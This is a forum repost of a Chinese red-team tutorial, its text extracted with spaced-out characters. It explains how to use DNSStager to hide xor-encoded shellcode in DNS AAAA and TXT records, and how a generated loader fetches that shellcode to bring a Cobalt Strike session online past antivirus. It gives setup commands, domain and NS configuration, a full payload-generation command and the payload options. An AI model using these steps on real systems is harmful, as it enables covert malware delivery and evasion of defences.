搜索

[18570] 2021-06-04_DNSStager-DNS分离shellcode

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2021-06-04_DNSStager-DNS分离shellcode D N S S t a g e r - D N S 分 离 s h e l l c o d e 原 创   伞   H A C K 学 习 呀   2 0 2 1 - 0 6 - 0 4 1 . D N S S t a g e r 介 绍 介 绍 类 似 于 s h e l l c o d e 分 离 免 杀 的 思 路 ， D N S S t a g e r 是 用 来 帮 助 红 队 人 员 执 行 在 D N S 隐 藏 多 段 s h e l l c o d e ， 通 过 多 次 请 求 d n s 查 询 ， 达 到 加 载 s h e l l c o d e 内 容 然 后 上 线 的 目 的 。 其 原 理 是 ： 将 你 申 请 的 根 域 名 （ 如 g e n d n s . t k ） 作 为 n s 服 务 器 ， 提 供 t e s t . g e n d n s . t k 子 域 名 的 解 析 服 务 ， 然 后 工 具 在 本 地 对 t e s t . g e n d n s . t k 建 立 多 个 A A A A 记 录 的 I P V 6 地 址 ， 生 成 运 行 程 序 循 环 请 求 这 些 个 记 录 ， 拼 接 A A A A 记 录 作 为 s h e l l c o d e 加 载 ， 从 而 达 到 上 线 的 目 的 。 优 点 ： 1 加 载 s h e l l c o d e 为 外 部 d n s 请 求 ， 防 火 墙 很 少 拦 截 。 2 使 用 x o r 加 密 程 序 运 行 ， 免 杀 部 分 A V 。 工 具 基 于 多 个 D N S 记 录 ， 如 开 源 工 具   I P v 6     和 T X T     并 再 注 入 到 内 存 中 并 运 行 它 。 官 方 地 址 ： h t t p s : / / s h e l l s . s y s t e m s / u n v e i l i n g - d n s s t a g e r - a - t o o l - t o - h i d e - y o u r - p a y l o a d - i n - d n s / D N S S t a g e r 将 创 建 一 个 伪 造 的 D N S 服 务 器 ， 该 服 务 器 将 根 据 A A A A 和 T X T 记 录 解 析 您 的 域 的 伪 造 地 址 ， 这 些 地 址 将 呈 现 您 的 有 效 负 载 的 一 部 分 ， 该 净 荷 已 编 码 / 加 密 并 可 供 代 理 使 用 。 2 . D N S S t a g e r 使 用 条 件 使 用 条 件 要 安 装 D N S S t a g e r ， 您 需 要 首 先 使 用 以 下 命 令 从 官 方 存 储 库 中 克 隆 它 ： 然 后 使 用 以 下 命 令 安 装 D N S S t a g e r 的 所 有 p y t h o n 要 求 ： 此 外 需 要 注 意 的 是 ， 需 要 禁 用 本 机 的 s y s t e m d - r e s o l v e d 服 务 : 环 境 可 选 c 。 g o l a n g ； c 需 要 安 装 m i n g - w 6 4 （ 这 里 推 荐 u b u n t u 、 k a l i 系 统 ， c e n t o s 上 楼 主 尝 试 多 次 安 装 m i n g - w 6 4 均 失 败 ） ： g o l a n g 需 要 G o L a n g   v e r s i o n   1 . 1 6 . 3 ， 并 安 装 g o l a n g . o r g / x / s y s g i t h u b . c o m / m i e k g / d n s 这 两 个 第 三 方 依 赖 库 （ g o l a n g 扩 展 目 前 还 未 复 现 成 功 ， g o - 1 . 1 6 各 种 坑 ） 。 3 . 域 名 的 配 置 域 名 的 配 置 使 用 D N S S t a g e r 作 为 s h e l l c o d e 存 储 媒 介 ， 当 然 要 有 一 个 域 名 ， 可 在 美 国 f r e e n o m 等 服 务 商 处 申 请 （ 楼 主 各 种 失 败 ， 最 后 只 能 花 钱 买 一 个 ） ， 申 请 好 后 需 要 解 析 N S 到 第 三 方 域 名 服 务 商 ， 例 如 d n s p o d ， c l o u d f l a r e ， 在 这 些 地 方 添 加 子 域 名 t e s t . g e n d n s . t k 的 N S 记 录 到 你 自 己 的 v p s 才 可 以 。 前 提 ： V P S 对 外 开 放 5 3 端 口 的 U D P 数 据 ， 提 供 N S 查 询 。 具 体 如 何 使 用 c l o u d f l a r e 请 参 考 《 实 战 填 坑   |   C S 使 用 C D N 隐 藏 C 2 》 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m h a s k a r / D N S S t a g e r p i p 3   i n s t a l l   - r   r e q u i r e m e n t s . t x t s u d o   s e r v i c e   s y s t e m d - r e s o l v e d   s t o p s u d o   s y s t e m c t l   d i s a b l e   s y s t e m d - r e s o l v e d
h t t p s : / / m p . w e i x i n . q q . c o m / s / B 3 0 U n f h 5 y A N 4 A 1 5 1 P 1 g s M Q C D N 配 置 以 c l o u d f l a r e 为 例 ， 在 D N S 选 项 处 添 加 N S 记 录 ： 最 后 的 效 果 ： 在 你 填 写 的 v p s 中 下 载 工 具 ， 使 用 方 法 （ p a y l o a d 以 x 6 4 / c / i p v 6 为 例 ） ： 其 中 p a y l o a d 有 多 种 ， 使 用 p y t h o n   3   d n s s t a g e r . p y   – p a y l o a d s 查 看 ： 注 意 ： 其 中 - - p r e f i x   c d n 参 数 的 c l o u d - s r v - 可 自 由 配 置 ， 就 是 在 t e s t . g e n d n s . t k 之 前 添 加 N S 子 域 名 ， 作 为 多 个 s h e l l c o d e 分 片 存 储 媒 介 。 4 . 工 具 的 使 用 工 具 的 使 用 在 运 行 工 具 后 会 在 本 机 监 听 5 3 端 口 ： 操 作 之 前 使 用 d i g 命 令 可 检 查 n s 域 名 ： d i g   A A A A   c l o u d - s r v - 0 . t e s t . g e n d n s . t k 未 成 功 时 ： 已 经 插 入 了 A A A A 记 录 ： d n s s t a g e r . p y   - - d o m a i n   t e s t . g e n d n s . t k   - - p a y l o a d   x 6 4 / c / i p v 6   - - o u t p u t   / h o m e / a . e x e   - - p r e f i x   c l o u d - s r v -   - - s h e l l c o d e _ p a t h   / h o m e / D N S S t a g e r / p a y l o a d . b i n   - - s l e e p   1   - - x o r k e y   0 x 1 0 x 6 4 / c / i p v 6             R e s o l v e   y o u r   p a y l o a d   a s   I P V 6   a d d r e s s e s   x o r e d   w i t h   c u s t o m   k e y   v i a   c o m p i l e d   x 6 4   C   c o d e x 8 6 / c / i p v 6             R e s o l v e   y o u r   p a y l o a d   a s   I P V 6   a d d r e s s e s   x o r e d   w i t h   c u s t o m   k e y   v i a   c o m p i l e d   x 8 6   C   c o d e x 6 4 / g o l a n g / t x t             R e s o l v e   y o u r   p a y l o a d   a s   T X T   r e c o r d s   e n c o d e d   u s i n g   b a s e 6 4   c o m p i l e d   x 6 4   G o L a n g   c o d e x 6 4 / g o l a n g / i p v 6             R e s o l v e   y o u r   p a y l o a d   a s   I P V 6   a d d r e s s e s   e n c o d e d   w i t h   c u s t o m   k e y   u s i n g   b y t e   a d d   e n c o d i n g   v i a   c o m p i l e d   x 6 4   G o L a n g   c o d e x 8 6 / g o l a n g / t x t             R e s o l v e   y o u r   p a y l o a d   a s   T X T   r e c o r d s   e n c o d e d   u s i n g   b a s e 6 4   c o m p i l e d   x 8 6   G o L a n g   c o d e x 8 6 / g o l a n g / i p v 6             R e s o l v e   y o u r   p a y l o a d   a s   I P V 6   a d d r e s s e s   e n c o d e d   w i t h   c u s t o m   k e y   u s i n g   b y t e   a d d   e n c o d i n g   v i a   c o m p i l e d   x 8 6   G o L a n g   c o d e
使 用 d i g 命 令 查 询 会 看 到 记 录 ， 运 行 程 序 后 监 听 端 也 会 看 到 ： 提 示 共 需 要 发 送 5 6 次 d n s 查 询 请 求 才 能 加 载 完 毕 s h e l l c o d e ： D N S S t a g e r   w i l l   s e n d   5 6   D N S   r e q u e s t s   t o   g e t   t h e   f u l l   p a y l o a d ， 意 为 在 v p s 建 立 了 5 6 个 c l o u d - s r v - * . t e s t . g e n d n s . t k   N S 记 录 。 w i r e s h a r k 抓 包 可 见 请 求 A A A A 记 录 ： 最 后 C S 上 线 ： 免 杀 效 果
推 荐 阅 读 ： 推 荐 阅 读 ： C S 如 何 配 置 通 过 如 何 配 置 通 过 C D N 上 线 上 线 实 战 填 坑 实 战 填 坑   |   C S 使 用 使 用 C D N 隐 藏 隐 藏 C 2 本 月 报 名 可 以 参 加 抽 奖 送 暗 夜 精 灵 6 P r o 笔 记 本 电 脑 的 优 惠 活 动 点 赞 ， 转 发 ， 在 看 点 赞 ， 转 发 ， 在 看 原 创 投 稿 作 者 ： 伞
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理